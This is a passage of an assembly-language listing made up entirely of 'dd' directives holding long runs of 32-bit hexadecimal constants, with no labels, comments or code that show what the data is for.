		dd 99102FC9h, 0F1CF0C19h, 0D081199h, 0EB1889C2h, 647BF850h
		dd 1054355Ch, 0E9D11C16h, 0EA1DDB9Dh, 0C90BD880h, 6EF7F475h
		dd 648C38F3h, 0BC0917Ch, 72D10310h, 4B3B630Eh, 11640877h
		dd 1857653h, 371BB493h,	0E8111424h, 0DA12FFACh,	9C83D40Eh
		dd 10AF5B17h, 96F4C09Ah, 1857406Fh, 43142281h, 8BD82910h
		dd 0EBD31130h, 4581A641h, 1F9F0D14h, 68F02281h,	0BFC54518h
		dd 9184E62Bh, 0D072210h, 4E01760Ch, 64106E9Ah, 3EECE473h
		dd 0B18EB91h, 750C0DC8h, 4210961h, 439AE1F7h, 76250C53h
		dd 3D32208h, 0E1E10A91h, 0B83C45D3h, 0EEFCB4F4h, 995CB24Ah
		dd 272B1018h, 0D3CB90h,	0F45859A5h, 2EAD9087h, 0E894D772h
		dd 0E4F2E092h, 0D70B27C7h, 32744B40h, 0AE25A95Eh, 3A0EB980h
		dd 5275070Fh, 0B6484746h, 17FA161Dh, 0BCD1383Eh, 14E1E45h
		dd 15F257DCh, 0A771763Bh, 0DBE87741h, 8778E3DAh, 0E012C0BEh
		dd 2B8376B8h, 27A2A7F3h, 0CDFCF661h, 4D3ACF57h,	0AF52610h
		dd 6F7E2E37h, 21D59EAh,	0B370B803h, 5F0D60B0h, 6AFFD883h
		dd 8BC4FD87h, 380F2016h, 0E76775CAh, 0EE7718C8h, 580EE076h
		dd 5D4A3011h, 6E294B5h,	0CD6A3B31h, 0A1BF8448h,	20FF205Ch
		dd 0D0FF02EBh, 3EEF687Ah, 440C9583h, 7FF8D90Bh,	0F0851F4h
		dd 0F39C14C2h, 9C67584Bh, 5BF8C2F1h, 1232313h, 8453F469h
		dd 0B4CC3D39h, 33CB1153h, 51695408h, 830F8D14h,	0F97A547Ch
		dd 3D715048h, 8847C861h, 2942C41Dh, 492A5E3Ch, 945CC292h
		dd 718D5660h, 0F03B0FFCh, 6CA1372h, 0EE83C198h,	0C05EFE04h
		dd 5EED7340h, 952C5268h, 7D4A2421h, 1138283Eh, 9933043h
		dd 1D085B70h, 8789147Bh, 158DBAD2h, 3BCA5A68h, 0D738AABh
		dd 4C6E058h, 0B4BEEDEBh, 0BD205A6Bh, 0D64E897Ch, 18FCCEEh
		dd 21725907h, 3A617B80h, 72651B75h, 107A027Eh, 0D7F1026Ah
		dd 0BA805008h, 71F0663Eh, 0AEB2543h, 34D9566h, 0DA826813h
		dd 43BA53Bh, 0FAE2BED3h, 65C6B05Fh, 0DC018A4Ah,	0A182F6D1h
		dd 304374D6h, 1AEB4048h, 2FF98012h, 5C54E687h, 2EFD43BBh
		dd 4A580B75h, 8D060705h, 4D810148h, 922F400Ch, 950CFE1h
		dd 0F28273D6h, 1094E12Ah, 0FB2B1F00h, 0D0FE3B2Eh, 6E9451BAh
		dd 0B2F63336h, 247E8044h, 2A32BD07h, 250B822Bh,	1A82D028h
		dd 3DEB2421h, 0FB3B4CD0h, 0D348722Eh, 14643FA3h, 7D788877h
		dd 4461C418h, 2FA0EE2Bh, 0F04ECB73h, 5794CE56h,	3E24B1E1h
		dd 0C828E630h, 17971446h, 0CA22A710h, 2B7B2053h, 0ACFD1888h
		dd 0C03E6BD8h, 0C08219BEh, 0E1FFC983h, 0B97041B8h, 298A484Fh
		dd 4714FD30h, 0C4970738h, 4AFBB2CBh, 0C112B3FCh, 5BFF428Dh
		dd 6E3355FAh, 0E4B64E3h, 905094A3h, 3AC896D8h, 28CE54A5h
		dd 8A137401h, 0D938420Ah, 823AD1DDh, 3B5C5184h,	0D80BEDC1h
		dd 81FCD4AFh, 1256100Dh, 0B4BF0AE0h, 82D24FB7h,	907CCB2Fh
		dd 0F183F902h, 7EC0D2FFh, 84C64BCFh, 0F4FC843Ah, 1C2D75C1h
		dd 0D3C81125h, 8FF10745h, 8D9EE6E9h, 5EC40380h,	0EA4C5B5Fh
		dd 5A422C6Bh, 3674D804h, 0F0EFCFB0h, 9C6CB0DCh,	0E1E71240h
		dd 15279188h, 644DC22h,	96EB34D4h, 56B2675Ch, 78170FEh
		dd 84FC18FDh, 3F6AFC89h, 68A21482h, 82672895h, 5BCB18D6h
		dd 12722C14h, 0C2F1C758h, 9662E865h, 9642F542h,	0D48AC9C0h
		dd 359CE9FBh, 4E531A6h,	0D398CA0h, 0C11D9867h, 0CA0308C1h
		dd 90941690h, 90A31880h, 95F63311h, 4A45F064h, 1C6AB601h
		dd 773E7A72h, 8643EF5Fh, 22B54301h, 0A37C389Ch,	0CE3239Fh
		dd 5F8C7A5Ah, 53A5CCD0h, 520B9F63h, 0F85B19E6h,	70D0580Ch
		dd 89B2A4B5h, 17023445h, 9C6C608Eh, 0F3D0E6F6h,	95F1D544h
		dd 6A03D500h, 3C58620Ah, 0D0FF9C75h, 0E6A44FDDh, 34801B1Ah
		dd 905DD48h, 0ABEC39F8h, 98EB04Ah, 981BAC98h, 0A27D5150h
		dd 3F847E0Ah, 7E75C8D4h, 0FBF83B98h, 3D831977h,	7A01E7D8h
		dd 84585523h, 92B167BEh, 0D4936839h, 6390A02Eh,	253B61B4h
		dd 9A265929h, 2DF4EDF4h, 601B726Bh, 105E0646h, 0F1B82A8h
		dd 0C33BF384h, 0EB85C140h, 0AE010844h, 4668316h, 30101099h
		dd 4E8B10DBh, 0FE240E08h, 464A0E89h, 99192030h,	0EF240F87h
		dd 0A96F02CFh, 728B2F2h, 78FE8122h, 6474FA7Ch, 53981008h
		dd 96D17513h, 886AD059h, 0BA15620h, 5F7AF68Ch, 571A0879h
		dd 1866474h, 0F82B3EE1h, 0E319262h, 3C4918B2h, 402768Bh
		dd 5057107Eh, 0A7077B53h, 339EBCDEh, 8582EF28h,	0CB927443h
		dd 0E18F425Ch, 6704481Fh, 0FEC8748Dh, 4440CD81h, 0B1AFF603h
		dd 2E0D7420h, 5B534649h, 8AB5B167h, 0D588CD4Dh,	47846FEBh
		dd 0AD5FC4F0h, 62782D53h, 4E855F48h, 0AEE11753h, 27253C92h
		dd 1CFAAE0Eh, 6162C02Bh, 81C7CDF4h, 0FD024822h,	0C938371h
		dd 1F8A0C02h, 0DF004247h, 0EC76445Ah, 0CAA04BB7h, 0A040B06h
		dd 8DBE0F0h, 303F0FD4h,	553914D0h, 8C0F18ECh, 0FB8031DCh
		dd 137C2018h, 4F7F780Ah, 8A14C30Eh, 9A68C4F2h, 3BF7E083h
		dd 1A2045D6h, 1FE4C684h, 0C204C905h, 0F3FC07F0h, 9A870F06h
		dd 0C183B563h, 4B6A14D1h, 550C0192h, 81D806CCh,	4E402E0h
		dd 0E9DC05FCh, 0B804B806h, 0E8832893h, 0A3B67E5h, 162D5403h
		dd 481FEC07h, 1D12CD1Fh, 6259A643h, 8FC7483h, 0D61328ADh
		dd 800CFF14h, 12629D83h, 2AFB3002h, 6A23752Dh, 0E2A45F01h
		dd 89C0528Fh, 0A4128D0Fh, 0D7044F47h, 9828FA00h, 0CBBE2F8Bh
		dd 80736790h, 0D0414405h, 8B0EE9EBh, 0D8ED8BF0h, 1E3F81CAh
		dd 7BF0201Eh, 0C08284D3h, 89683A2Ch, 6F683AA3h,	49617439h
		dd 0A9D2E74h, 28205068h, 0ACAB96Ch, 0A014B977h,	0FD4D144Dh
		dd 1410B2B9h, 3F072046h, 57147536h, 6334A77Fh, 518E470Eh
		dd 147825F7h, 0D0890919h, 1DAA51F9h, 0F66606B5h, 16CCB6CEh
		dd 8CDAB19h, 486613Fh, 53B121F1h, 694747ECh, 962F9A19h
		dd 67F83B53h, 0A51C8F13h, 4365E53Fh, 5E8496C3h,	4424585Ah
		dd 78E2A1F8h, 43E81841h, 1F9F129Ah, 9706EA6h, 0FC226C6Ah
		dd 3E98504h, 45C40012h,	750830FCh, 50C10452h, 91BFF0FEh
		dd 546ABEDFh, 1EB41A97h, 3378E522h, 0D767A99Fh,	9D7EDC9Ah
		dd 11BA0914h, 2669209Ch, 27344B54h, 0C7241ECh, 0D2854ED6h
		dd 758AD442h, 0CAF3C88Ch, 244015CEh, 60ABE7EBh,	20C3801Ch
		dd 40061492h, 0FDB8BD8Dh, 0A53B5CBEh, 0C69C7D37h, 3EC431CFh
		dd 0CC5106F0h, 8E305671h, 87907890h, 892F1092h,	0F4C2BF92h
		dd 1B1613B8h, 132AF5Ah,	12597EF4h, 32CCEA32h, 0D42950EBh
		dd 0CE747E5Ah, 0C5A6090Ah, 11F9FA48h, 0E15408E9h, 8859C431h
		dd 0D9FE3B55h, 98480923h
		dd 3E9F87Eh, 40039BBAh,	488B3374h, 160B044Eh, 81DF882Ch
		dd 0F178E3Eh, 0E8D104BFh, 0F49422AEh, 322BE7BAh, 0FA942B0Fh
		dd 0F213C9Ah, 2298A1B7h, 509C650Ah, 0E2B0C322h,	67154181h
		dd 0F00ED23Eh, 0D005732h, 8C083CCh, 0F0098950h,	4D98BCD9h
		dd 64409130h, 94BC1EFCh, 3BD229C9h, 0C658D9A8h,	7F03A14Bh
		dd 14818BECh, 6A80E681h, 7DB29A27h, 0E79E1F0h, 0E765254Dh
		dd 5E594394h, 0F685120Ah, 0DEC5917h, 242D574Ch,	0AC3B0D75h
		dd 0B9A93E2Ah, 956228E1h, 5945C8FCh, 1A0BA735h,	181BFF69h
		dd 44051220h, 599D489Eh, 160FA4F4h, 0C6812751h,	95F969FDh
		dd 4D24B129h, 1C91092h,	44D4C840h, 3C05EB27h, 0F8D1C12Bh
		dd 88FE4855h, 0E9F7CA98h, 139AAED7h, 45F1AAD3h,	0FF13254Eh
		dd 3E488508h, 984EA807h, 107CA9BCh, 8A5D7410h, 81C628CFh
		dd 510430EAh, 670ABD3Fh, 0EBD78802h, 22324815h,	503B1108h
		dd 35EB02C3h, 396C9891h, 2E9A9020h, 1DA06609h, 88903ECh
		dd 116A05EBh, 94E9F60Eh, 7B40656Bh, 56A530Ah, 600C7460h
		dd 0EB599C3Bh, 743E4150h, 400D2164h, 9B0C4BCCh,	0ABC2810h
		dd 25EB99C0h, 0CFB7670Ch, 0E421F26Ah, 0E0EB6108h, 50330848h
		dd 50741AD2h, 257FE41Bh, 0B1027C17h, 0B7F81173h, 6AF8C2F9h
		dd 9E6ADA48h, 4EBFA06h,	780CD018h, 83037507h, 0B31309E7h
		dd 0FE4E099Ah, 0FCF468BDh, 0C68B06F7h, 1575C70Bh, 0C2CBE470h
		dd 2C9579B7h, 31622C5Fh, 44067F96h, 20EF181Ah, 520D99F4h
		dd 36565750h, 5AA8F83Bh, 0EAD853AAh, 32CED1C6h,	0C01030C3h
		dd 3EBF7A5Fh, 0FB9460F6h, 7E1C6839h, 0D45D4C03h, 82DCF862h
		dd 0EB1888C3h, 2BA336B5h, 8089061Bh, 60A63502h,	32C18B3Fh
		dd 75303980h, 0B86AA54h, 2140654Bh, 375886C6h, 6BD89981h
		dd 0D9E5A01Dh, 0F6FC05CCh, 26D30EC3h, 0C2C2C7A9h, 0EB2D8BA1h
		dd 0B20A114h, 9D02B1Eh,	0BA2023Dh, 34EA204Bh, 0E0928161h
		dd 6D6CF2Bh, 0C32F464h,	859C79C5h, 206A2456h, 0BAF0491Fh
		dd 9B121051h, 242BEA08h, 6676E406h, 5AD32D57h, 40A3F59h
		dd 3021324Bh, 1A0BD149h, 8C050C41h, 1FC247Eh, 788DF88Fh
		dd 3DE20FFh, 0C8914367h, 0DF34D64Eh, 328721BEh,	51EA208Dh
		dd 461879D1h, 0C78B0A5Ah, 0D085DC4Fh, 593415EBh, 9193A8AAh
		dd 14ADD478h, 0BDA67404h, 364AFC28h, 5A010FAh, 0FCB7F913h
		dd 7C11AD69h, 0C041FD4Fh, 8C80E25h, 228C9140h, 0C3CB45C3h
		dd 9933134h, 802F41B1h,	449FF08h, 130E783Dh, 62A08A11h
		dd 122FF902h, 0B310AD5h, 0C6EC4B99h, 9FF88333h,	0C505FB10h
		dd 0C35D8D07h, 7F2F1DBEh, 0AA308212h, 3EBE217Eh, 0D8FE1812h
		dd 0BA941423h, 1C3E6CEEh, 7F21A907h, 93AA572Ah,	76FF0CDAh
		dd 65CC724Bh, 0CB1C7B26h, 2281106Dh, 0BE465706h, 3750AB6Dh
		dd 509B3F90h, 4FE26F20h, 8301C85Bh, 0BBFCFE1h, 650D53A8h
		dd 416DA008h, 51296498h, 66451DFCh, 0E0A11E02h,	462A54A2h
		dd 474A30Fh, 0D7AFC89Eh, 0BA583404h, 0E18DC817h, 0A05455F2h
		dd 66C19827h, 4D381281h, 48D2F05Ah, 0B013C4Ah, 8AC1030Dh
		dd 75881AE4h, 1B403A0Eh, 0C8014697h, 2C25B8F4h,	9A5512h
		dd 2F49D15Fh, 5EBC80FCh, 0D198E6B6h, 0BD30831Ah, 75022978h
		dd 6C12C811h, 8720586h,	31B09ADFh, 0D46C4707h, 906801EDh
		dd 0F06A1075h, 4684A34Eh, 0D0841840h, 71DB3387h, 3821A08Dh
		dd 0D806A29Dh, 3C0107BCh, 40087C61h, 2C047F7Ah,	888203Eh
		dd 21193841h, 166A0C42h, 0D58A587Eh, 0C91A9D9h,	0C1A0829h
		dd 641049EBh, 0ED2A7395h, 0B81306A0h, 0FD560CD0h, 92501B02h
		dd 9832F543h, 3E76685Fh, 0BC2C5F6Ah, 30E5B7D9h,	0D7C85482h
		dd 870E1685h, 8805E867h, 3C41EB19h, 530A6AF2h, 0A5342447h
		dd 0C93F4E8h, 30A1D43h,	18118EAh, 50D0D4A7h, 0D587BE91h
		dd 6957D80h, 83420EAFh,	2C7C034Bh, 522D724Ah, 9EF6B5A5h
		dd 0B8F778ADh, 54848C9h, 59F6A3C9h, 6536748Ch, 8B026F06h
		dd 301FE4EDh, 2CF568CCh, 0A707C4CCh, 0C36317FCh, 1B151875h
		dd 27F3EE12h, 918BDB0Fh, 48CE5544h, 76BD68D5h, 8853AD5Bh
		dd 88D8B34Ch, 0E4970175h, 25831B44h, 0E861BD0h,	6663D442h
		dd 110CCCA3h, 0DDC0D89h, 0C40522C7h, 90CAACBAh,	8D071FA1h
		dd 0D885800Ch, 0D088084Bh, 7BA197C6h, 0F0502B04h, 8AE1FA81h
		dd 0CE07724Bh, 0E8EB1406h, 0CCFE97EEh, 0B69CF869h, 0BB416785h
		dd 83FE0400h, 2B3EFCC6h, 0EFC10F79h, 69CFE20Fh,	7120F5C9h
		dd 44018C8Dh, 6C899AA9h, 490E126Ah, 1265F7A8h, 0E68F83FCh
		dd 140E337Fh, 7F1C8D31h, 0E0B55D7h, 432C6256h, 0F61219BFh
		dd 705D3CC2h, 0C1077E72h, 834A04FAh, 3763F40h, 3E5AE86Ah
		dd 3B394B8Bh, 4C75088Ch, 73132020h, 54D0BB1Eh, 3D3CA8Bh
		dd 24C8DEBh, 21B8F704h,	4405B85Ch, 287509FEh, 95E4825Eh
		dd 4A8D0A3Fh, 1FA321E0h, 0C4B89C86h, 645C821h, 25045943h
		dd 7C9FC0Ch, 53084203h,	45B33C0h, 89F4E4F5h, 552E5A62h
		dd 0F895AF0Ch, 0FF085213h, 80D13195h, 80DC5DB2h, 0F4519722h
		dd 1FEC22B5h, 25F0752Bh, 0CA04FBC1h, 0F38936h, 0DE3B5E4Bh
		dd 8B740276h, 0D12C90D9h, 373989A0h, 4E25D63Bh,	6374DAC2h
		dd 71CA45EBh, 870BE8Eh,	8FB8340h, 0CB60BE1Ch, 15F7EED3h
		dd 0BA7421D6h, 4034C02h, 9A902675h, 1F0AEB31h, 1FE04B8Dh
		dd 0B4561DA2h, 0BA4168B8h, 975A71C4h, 93029A0Bh, 0C934E89h
		dd 0CAE01FCCh, 47CF7524h, 5A4BB95Dh, 2AEAEDDFh,	0D096B6E8h
		dd 4D15CD6h, 9481BD90h,	5265B65Eh, 3670DF5Fh, 3B610C83h
		dd 8A60751Eh, 51502025h, 3A0F4D88h, 19E2C1FEh, 0A8632573h
		dd 0E4882DEh, 24EDB660h, 716E1909h, 0F7AE4744h,	49297518h
		dd 671C1025h, 568C2682h, 7A86BA21h, 0B98453EAh,	0B9100912h
		dd 1D063997h, 0A4A53044h, 3A8208F8h, 0D4A124F7h, 508AAA7Eh
		dd 0C80D8B0Dh, 4C35D81Dh, 0C103A69Ah, 48030FE1h, 80A6380Ch
		dd 0E20EE4Fh, 52FF5153h, 334520D6h, 2A095C0Ch, 860F0850h
		dd 1040063Ah, 0DA88A483h, 21C2588Ch, 934348FEh,	80B3C70Bh
		dd 42EEDD79h, 0FE0460F0h, 782912AFh, 53693260h,	70341CB2h
		dd 1359B60Ch, 9B6A1014h, 0CFF648D0h, 0F430738Bh, 48C18004h
		dd 0C82AC3E0h, 982B7729h, 0EC111D4Ch, 14484E51h, 0E4EC2196h
		dd 0CF96A80h, 50D8E65h,	9053B30h, 4B017623h, 6314086Dh
		dd 0DA534C2Fh, 20B17445h, 0D61E820Eh, 4B145958h, 67314C64h
		dd 3C4257CDh, 6CC8D682h, 831617BEh, 2341F0E1h, 4904F9C1h
		dd 7D20A0EBh, 4CCEFE0Eh, 0E54A0BFFh, 28B87CF9h,	9182ECEBh
		dd 0F681A157h, 1FA7E8D3h, 42A14F05h, 0DF3BD868h, 73089860h
		dd 7C231959h, 58DC23F6h, 0CF0BFEC5h, 0C31107EBh, 0FC5DD314h
		dd 0E7723318h, 3F797511h, 0D8A8DA8Bh, 0C8154627h, 0E6EB8D05h
		dd 8F59E534h, 0C411734Bh, 40D6087Bh, 0EB55C529h, 263808EDh
		dd 1C540D51h, 97EE3048h, 18845D0Eh, 0DB85F84Ch,	50147488h
		dd 67FD0F53h, 0FF10B859h, 0A943541Dh, 465F3825h, 472AC254h
		dd 0A69B1D89h, 2EC92A73h, 6F1D58FAh, 8CA25CFCh,	0ABFCC490h
		dd 8944EA4Eh, 91F63751h, 24907013h, 7EDE4155h, 483E96FDh
		dd 391FAFCBh, 0AD173A3Fh, 74AEA991h, 103B355Fh,	0FE3CC005h
		dd 0D70B3903h, 9AC6E974h, 332E9890h, 0C1FA61FFh, 0B1854C49h
		dd 310D75CEh, 80206A67h, 0C9855FCBh, 6D1057Ch, 0F7EB47E1h
		dd 5431438Bh, 2B0A88F9h
		dd 0D3F11F64h, 0FEC60F5Eh, 42834EA7h, 0E7CA7E3Fh, 30F7C861h
		dd 1440D99h, 0E722B04Ah, 0FF836100h, 2B598590h,	12CF8B01h
		dd 0EA05750Fh, 53D438h,	5C23ECF4h, 82EF4488h, 750FFE09h
		dd 0B3A05738h, 0B21EC4Dh, 2CCAEB5Ch, 2872154Fh,	9F24962Ch
		dd 1986266Bh, 996FD454h, 86512D43h, 0D26CB233h,	619F7A06h
		dd 0B943F844h, 0CDEDBE79h, 3012081Ah, 9458842Bh, 16AAD0C0h
		dd 0C050F17Ch, 7B466EA6h, 8D51B252h, 0B9E60C22h, 0C060649Eh
		dd 10FE8106h, 0B0297D0Bh, 0EF9798C2h, 0CA25DEC3h, 60B1BFC6h
		dd 9EFD3CEh, 450B3B57h,	417CF990h, 4B2FEBAFh, 8D0D0529h
		dd 2159E04Eh, 17297B55h, 0AEBC8D14h, 86C52EDAh,	2C37090Ch
		dd 0FCA3B7F8h, 82950A89h, 3452FC01h, 2C1D2BFFh,	146D1D9h
		dd 0FC321341h, 0ECDA025h, 798D448Ch, 1AF63E20h,	0ED1D3B26h
		dd 99120D4Fh, 90A2C6EEh, 0CC709407h, 80B8925h, 1A04428Dh
		dd 22036C09h, 0C8BFC40Dh, 2EC13BDAh, 0B5D3075h,	70295089h
		dd 0D81175D4h, 5195572Ch, 0C73B1054h, 94899074h, 0C944699Bh
		dd 0B803E86h, 3ED4C468h, 88B069E1h, 244F3146h, 0F4B38134h
		dd 46896860h, 2A177410h, 4C1F046Ah, 764D51EEh, 5015A98Ah
		dd 750C621Ah, 57D12557h, 844FFA9Ah, 4E7DC262h, 0C60E22E2h
		dd 65047E47h, 84635A05h, 0C6ECD878h, 94A36C97h,	0F45747E1h
		dd 41C9C271h, 9BF0B5Dh,	0E05022C3h, 0C3C32443h,	0C8EC6938h
		dd 0F9B85A82h, 0D683304Ch, 840F746h, 82044A06h,	1F494AFDh
		dd 0C18641FBh, 79DD70E7h, 52AEF8B5h, 80388C10h,	0B7949342h
		dd 18C20AFh, 8D38F30Fh,	32703097h, 7A77FA3Bh, 0F0476B3Ch
		dd 85050E77h, 0D7BAEC88h, 0FCECEEF6h, 4076C70Fh, 4356F045h
		dd 80EF4A1Eh, 0C70448E1h, 23E88034h, 5705150Ah,	0CE3D2D26h
		dd 94C795A0h, 5842473h,	0FCF8050Ch, 4F5F8D5Ch, 8DAD81CEh
		dd 12BB0C4Ah, 64900041h, 86CE449Eh, 0E420B2BCh,	0E643468Ah
		dd 2E0C98C8h, 8F7BC084h, 75804E88h, 4780903h, 9A60BA4Bh
		dd 1ED2F7EAh, 57085021h, 0CB538C3h, 5227FDABh, 0F84B6610h
		dd 708D04D7h, 0E4512B17h, 0E65C83EAh, 0FEA16ACh, 832B8513h
		dd 49FC4F05h, 45D953Bh,	0FB395C2Ch, 3EF1E25h, 5F8E0F38h
		dd 701E3B5Eh, 134F854Ch, 0F8D94F03h, 458F1F08h,	316B1BA6h
		dd 8E643FF1h, 4F064876h, 8B115931h, 0CEE4315Fh,	162C4806h
		dd 2C1F7320h, 8D13F854h, 0F288014Ch, 2B468490h,	18082425h
		dd 909CF822h, 4FF1F59Ch, 89A728DBh, 7F06CB09h, 30066513h
		dd 1CE2B10h, 56A97F8h, 5DAA9C06h, 2A0E8CB5h, 0FFC10C0Ch
		dd 318A4F04h, 112730DEh, 0F4035FFBh, 4FB1CF9h, 405BCC0Ah
		dd 0D70C12B6h, 18461B80h, 3B890C79h, 5C751E8Bh,	8078C04h
		dd 971393FFh, 2110C84Ch, 0CF91857Bh, 0B9E610D2h, 0CF0A6656h
		dd 972125EBh, 0DE331210h, 0BA842948h, 4FB72EB4h, 5548054Bh
		dd 449D880Ch, 4C433259h, 87012C74h, 46FD244Dh, 6942F3E7h
		dd 9C5A2A22h, 13E61225h, 0FB1BF6Eh, 84F73A8Dh, 290C5D03h
		dd 31A4B54Dh, 335C6E4Bh, 0D0F6A565h, 33E9B152h,	32BD8323h
		dd 31545ED8h, 36EA0112h, 29F53EAFh, 54199105h, 2E903B22h
		dd 0DDB1754Eh, 0CEA26C3Ch, 45067422h, 8B0E167Ah, 0C44E216Ch
		dd 0DA778E06h, 777A91EEh, 0CC1B7102h, 8F81601Eh, 0E8E6BC03h
		dd 0C77A760Ch, 207B10EEh, 0A47BDD4Bh, 62DABC71h, 0EEE55CFBh
		dd 51AE13A7h, 0AE386218h, 42E33DD6h, 62473940h,	0F88CE10h
		dd 81E6164Bh, 62227922h, 0D77A4EC8h, 8103B804h,	2BFC184Ch
		dd 8381C2A9h, 220B83Dh,	1AAB77FFh, 0A8BEC303h, 1DEB190Eh
		dd 3EEFDD68h, 0F6F4B55Bh, 73880C44h, 2CD1B12Dh,	40407170h
		dd 0F88BD52Ah, 5EBD8575h, 56344D38h, 3B15029h, 3457538Dh
		dd 0AF22033Dh, 3B5CB850h, 1E75F01Ah, 610A09E4h,	846A363h
		dd 3FAC431Ch, 0EB08501Ch, 689150Ah, 0BB2C09A1h,	35501228h
		dd 30888B09h, 6887518Dh, 0D9988ED8h, 0FF143491h, 4EB2189Bh
		dd 477EEBC1h, 0A181CBCBh, 0BBF1B9EDh, 83D28F2Dh, 9D0FE0FDh
		dd 73234AC2h, 894532D1h, 94E44832h, 5EFD8125h, 0E37C84AAh
		dd 5BF8AB53h, 3EC90B5h,	0F8073BC3h, 8F801B73h, 7660715Dh
		dd 3A819047h, 499C707h,	0E2811BF0h, 0DCEBB590h,	2EC68B3Ah
		dd 716DBE27h, 224CFF02h, 0AC91FE81h, 169F7B74h,	1549EE5Bh
		dd 0A15D595Bh, 216FAE31h, 35390233h, 80B40C8h, 0A39AC1F7h
		dd 0A6433315h, 0D20EE621h, 0EFE21291h, 0AA042FC9h, 0C27E5239h
		dd 91460D9Bh, 0EB2ECE9Dh, 57140623h, 0FF27ED83h, 31712D1Ah
		dd 7DA4BE1Fh, 0F03768A8h, 0BA3AAE3Fh, 0E2397542h, 144DD1C5h
		dd 7A53DF03h, 2585502Bh, 831FA540h, 0DFA0F7Ch, 4792E45Eh
		dd 0A490FC46h, 14C71364h, 9E7B3C87h, 0D6582765h, 81280DFEh
		dd 833D30EBh, 0DB8585EFh, 23C9B27Dh, 76C85021h,	2C743D04h
		dd 405C79ADh, 93E02616h, 5A202741h, 420CE7A2h, 0FA435244h
		dd 2408EF29h, 0EEC82D31h, 59293214h, 7489A53Bh,	4221DE0Ah
		dd 1A29508Fh, 949E565Ch, 0C690F6BAh, 413BCA01h,	8B057610h
		dd 0D072140Ah, 74F8F928h, 0EEEB0237h, 31750FA8h, 2EBA5761h
		dd 0E6811ED0h, 2DF94FFh, 2072F23Bh, 0D9864A4Ah,	0C1B70D0Eh
		dd 37B6601h, 0C12BF096h, 1DF11E4Ah, 0E86126Bh, 0B13208F1h
		dd 57A9EE53h, 2B8B0576h, 0F9580348h, 0C82E1B0Ch, 0FC01D18h
		dd 12F11B6h, 81EAC010h,	4119138h, 0C80440C7h, 17147517h
		dd 92FB05FFh, 3F066610h, 5108AF20h, 88140571h, 3B77EB59h
		dd 57A61969h, 0B4A5CDF7h, 0C240376Ah, 6A60087Eh, 13C02018h
		dd 83C62BC7h, 0F69CF5E8h, 0CE0CE03h, 0F93BC282h, 7309F058h
		dd 0E30F8B3Ah, 7CCBE0CEh, 0D5E09D1Ah, 535E1576h, 17012742h
		dd 6E9B5CEEh, 2E09D637h, 42A6C7FAh, 3848B194h, 46C8728Bh
		dd 4E464006h, 7E32A8B0h, 62F82618h, 2542F885h, 127C3373h
		dd 4D197C8Ah, 0D4EE1412h, 264F2C70h, 788199CDh,	0A681A04Dh
		dd 72F87D3Bh, 364648D2h, 74B74CF9h, 0B1D154Ah, 0D89F40Ah
		dd 0B1F2989h, 74A05AD5h, 0A66AB117h, 7F830991h,	3A78338Bh
		dd 2BE10CECh, 0DC3FAC0Dh, 29D7DE02h, 5FF18755h,	0BA4493F9h
		dd 2B3360F3h, 0A1EEF4F7h, 0E602FEE0h, 2837704h,	11FE263Bh
		dd 49F3BC02h, 2049EB0Bh, 5574F754h, 0D72CD3EFh,	57260151h
		dd 9CB9562Ah, 0FC6C05Fh, 33E1B885h, 0F8750BF3h,	0D05F1A56h
		dd 78B984A7h, 7ECB2CD2h, 0B0B826B3h, 0F488801Eh, 509B65B1h
		dd 0BAD49F1Ah, 9C349989h, 41C72411h, 8D1EAB9Dh,	40D4C183h
		dd 89D67507h, 4CC53D52h, 3D3752E9h, 0A373A83Bh,	5F83966h
		dd 0F2EB303Bh, 23C01B1Ch, 47270698h, 40C12A0Ch,	29EC1428h
		dd 0BCD70372h, 26FA881Fh, 2493E86h, 5E34EB21h, 2974C22Ah
		dd 0DE280F54h, 195432C7h, 44761B4Bh, 5B2B76DAh,	1D5412D3h
		dd 50298122h, 44818D18h, 12A8AF34h, 4F1E5E4h, 2AF4B1BBh
		dd 0A026712h, 0E4998D39h, 0BC8D9019h, 2F0224A8h, 8D215820h
		dd 88721704h, 7306A690h, 29110107h, 9EB0E8Eh, 2CBC6183h
		dd 0FF8A2017h, 722247D5h, 312193Ch, 8A4BBFF7h, 8D388202h
		dd 0A540DD34h, 8A024373h, 75DB8418h, 583CC930h,	70805ECCh
		dd 0C04F63Bh, 0F7EB4643h, 4E4F73A4h, 960530B4h,	1C4B3F22h
		dd 5539C9B7h, 9982B582h, 0C3058F73h, 0A00505EBh, 424C03F3h
		dd 0F0BDE875h, 0F7E0EB71h, 0F67E6673h, 0E0FF6816h, 64E8A76h
		dd 0CE40C7A0h, 58685EA5h
		dd 0EC432543h, 581C5A1Fh, 928B2F0h, 1968AC2Bh, 0CC5399AAh
		dd 10883102h, 30EBC249h, 730AC227h, 69452913h, 3347209h
		dd 0EAEEBF0h, 0F003C0C4h, 1670A7ECh, 41C2448Ch,	8809D1ADh
		dd 0E2B80E16h, 420FC96Bh, 5FE255F0h, 21AA24BCh,	5662E450h
		dd 55570A86h, 25694D76h, 82814740h, 0C03F0CF8h,	0C77C8D62h
		dd 7C761825h, 2B813C8Ch, 10288C8h, 2347F50Fh, 60EB06E1h
		dd 81296573h, 83CD02D3h, 0C60A5423h, 18D15572h,	0A730E11h
		dd 0D6D3CA95h, 18F41B4Ch, 0B38A42B9h, 0F78B6A46h, 2B77D0B1h
		dd 2732C27Ah, 73D12C9Bh, 89FE9C14h, 810638CBh, 3C804066h
		dd 615F42DAh, 0AB484347h, 6CC8B63h, 0D2EC2B03h,	9179BAD2h
		dd 3D09C33Dh, 506948D8h, 0D7822B29h, 0DEFB8BDDh, 0D90A4C68h
		dd 0F0FEE68h, 49EADFC9h, 701F3148h, 5DFAAE98h, 53BBC34Fh
		dd 0C8DFE889h, 0EF71B521h, 0B0CBA62h, 58C654DCh, 0A6D0B72Ah
		dd 31BB185Bh, 66591D04h, 2722359Fh, 0FEE00805h,	0F1368DABh
		dd 138D7E20h, 27A81597h, 0AA62414h, 20423118h, 5996B943h
		dd 0A4342CFDh, 0DD9DC828h, 10C49B23h, 4A500C71h, 12CF419Ah
		dd 0E25FF80Bh, 47A21310h, 1820986Bh, 0B792EB86h, 0B64222A2h
		dd 2E15C2ADh, 0ED125B86h, 0E1D5B13h, 10C78A0Ch,	7432C1F6h
		dd 5493DD0Dh, 0C0008FDAh, 0C2045809h, 0E740224h, 83109331h
		dd 2100448h, 91A2CB84h,	854B7433h, 0E79E8E11h, 138CA5F8h
		dd 0FD789046h, 6A01C87Bh, 30CEB590h, 0D1F7E050h, 183CB23h
		dd 0E1C1EFE2h, 78CA0B04h, 6844189h, 35CD2A2Dh, 9EDF2683h
